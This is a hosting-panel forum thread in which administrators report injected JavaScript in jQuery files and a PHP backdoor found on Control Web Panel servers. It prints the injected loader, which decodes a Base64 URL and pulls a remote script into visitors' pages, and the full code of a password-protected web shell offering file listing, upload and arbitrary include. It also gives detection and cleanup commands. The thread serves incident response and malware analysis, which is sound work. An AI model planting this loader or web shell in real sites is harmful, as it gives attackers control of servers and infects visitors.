Control Web Panel

WebPanel => Information => Topic started by: murad99 on August 24, 2026, 10:55:39 PM

Title: Possible CWP Security Issue – Malicious JavaScript Injection
Post by: murad99 on August 24, 2026, 10:55:39 PM
Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.
Title: Re: Possible CWP Security Issue – Malicious JavaScript Injection
Post by: emerysteele on August 25, 2026, 12:36:57 AM
I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is
Code: [Select]
<?php
if(!isset($_POST["password"]) or md5($_POST["password"])!=="70f54a5fc83847180f948a889f12960d"){
    
http_response_code(404);
    die;
}
$action_pwd_gan = isset($_POST["action_pwd_gan"]) ? $_POST["action_pwd_gan"] : "";
if (
$action_pwd_gan === "dir") {
    
header("Content-Type: application/json");
    
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty(
$dir)) {
        
$dir ".";
    }
    if (
is_dir($dir)) {
        echo 
json_encode(["status" => "success""files" => scandir($dir)]);
    } else {
        echo 
json_encode(["status" => "error""message" => "Directory not found"]);
    }
}elseif (
$action_pwd_gan === "upload") {
    
header("Content-Type: application/json");
    
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty(
$dir)) {
        
$dir ".";
    }
    if (isset(
$_REQUEST["file"])) {
        
$file_name $_REQUEST["file"];
        if (!
is_dir($dir)) {
        }
        
$file_path $dir DIRECTORY_SEPARATOR $file_name;
        if (
file_put_contents($file_pathbase64_decode($_REQUEST["content"]))) {
            echo 
json_encode(["status" => "success""message" => "File uploaded successfully""file" => $file_name]);
        } else {
            echo 
json_encode(["status" => "error""message" => "Failed to save file"]);
        }
    } else {
        echo 
json_encode(["status" => "error""message" => "No file data provided"]);
    }
}elseif (
$action_pwd_gan === "include") {
    include(
$_POST["dir"]);
}
?>
Title: Re: Possible CWP Security Issue – Malicious JavaScript Injection
Post by: Netino on August 25, 2026, 01:31:46 AM
I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is
(...)

Yes, this file is **100% malicious**. It is a **web shell (backdoor)** that allows an attacker to remotely control parts of the server. Unfortunately, I found it on my server as well.

The file was disguised within the CWP admin panel's images folder (`/usr/local/cwpsrv/htdocs/admin/design/img/ico.php`) in an attempt to go undetected.

**What this malicious code does:**

* **Password Protection:** Requires a password via a `POST` parameter (validated against the MD5 hash `70f54a5fc83847180f948a889f12960d`). If the password is incorrect or missing, it simulates a `404 Not Found` error to fool basic scans.

* **File Listing (`action_pwd_gan = dir`):** Allows the attacker to navigate server directories and list all existing files.

* **File Upload (`action_pwd_gan = upload`):** Allows the attacker to upload new malicious files or overwrite existing files on the server using `base64` encoding.

* **Code Inclusion (`action_pwd_gan = include`):** Arbitrarily executes other PHP files on the server using the `include()` function. ---

**Immediate Removal and Mitigation Actions:**

1. **Remove the file immediately:**
Code: [Select]
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/
rm -f /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/

2. **Check for other files modified or created in the same folder:**
Code: [Select]
ls -lat /usr/local/cwpsrv/htdocs/admin/design/img/
I scanned my server logs and found no calls to it; however, if the server is compromised, the log entry might have been removed.
But I did find calls to it elsewhere under different names, so look for these names as well:
Code: [Select]
locate ico.php bico.php nico.phpIf you find any, take the same measures.

3. **Change all critical passwords:**
* Linux `root` user password.
* CWP panel access password.
* MySQL database and email user passwords. 4. **Inspect the server logs to understand the source of the intrusion:**
Look for access requests to the `ico.php` file in the panel logs to identify the attacker's IP address:
Code: [Select]
zgrep "ico.php" /usr/local/cwpsrv/logs/access_log*
zgrep "ico.php" /usr/local/cwpsrv/logs/error_log*

5. **Update CWP and system packages:**
Older CWP vulnerabilities are often exploited to inject this type of file into the `/usr/local/cwpsrv/` directory. Keep both the panel and the operating system fully up to date.
Title: Re: Possible CWP Security Issue – Malicious JavaScript Injection
Post by: murad99 on August 25, 2026, 01:48:27 AM
Thanks for sharing this information.

I checked my server for /usr/local/cwpsrv/htdocs/admin/design/img/ico.php, but that file does not exist on my server.

I also checked my WordPress installations. They were updated on August 11, and the first wp2shell attempts appeared on August 12. Therefore, I do not have any unpatched or outdated WordPress installations that match this scenario.

So, at least in my case, neither of these appears to be the source of the compromise.